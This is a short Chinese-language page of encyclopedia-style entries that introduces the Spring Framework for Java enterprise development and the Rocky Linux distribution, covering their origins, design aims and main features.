Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

用户登录
用户注册